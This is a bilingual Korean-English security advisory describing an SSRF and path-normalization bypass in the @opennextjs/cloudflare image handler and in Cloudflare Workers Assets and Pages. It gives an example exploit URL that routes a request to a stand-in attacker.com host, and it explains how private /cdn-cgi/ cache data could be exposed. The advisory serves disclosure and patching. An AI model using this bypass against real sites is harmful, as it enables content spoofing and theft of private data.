🇰🇷 한글 설명
@opennextjs/cloudflare 패키지의 /cdn-cgi/image/ 핸들러에서 경로 정규화 우회를 통한 SSRF 취약점이 발견되었습니다. 공격자가 백슬래시(/) 대신 역슬래시(\)를 사용하여 Cloudflare 에지 차단을 우회하면, 임의의 원격 URL을 호출하거나 보호된 자산에 접근할 수 있습니다.
💡 쉬운 설명
웹사이트의 보안 규칙을 속이기 위해 슬래시(/) 대신 역슬래시(\)를 사용하는 방식입니다. 이를 통해 공격자는 허용되지 않은 외부 사이트의 정보를 가져오거나 숨겨진 내부 데이터를 훔쳐볼 수 있습니다.
🇺🇸 원문 (English)
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.
For example:
https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.
Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.
Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
📍 영향받는 시스템
@opennextjs/cloudflare 패키지 및 Cloudflare Workers with Assets/Pages 환경
⚔️ 공격 벡터
URL 경로에 역슬래시를 포함하여(/cdn-cgi\image/) 에지 보안을 우회한 후 임의의 URL을 호출
🛡️ 대응 방법
패키지를 최신 버전으로 업데이트하고, 경로 정규화 로직을 검토하여 역슬래시 입력을 차단해야 합니다.
🔧 검증 코드
설치된 패키지 목록에서 @opennextjs/cloudflare의 버전을 확인하여 취약한 버전인지 대조합니다.
npm list @opennextjs/cloudflare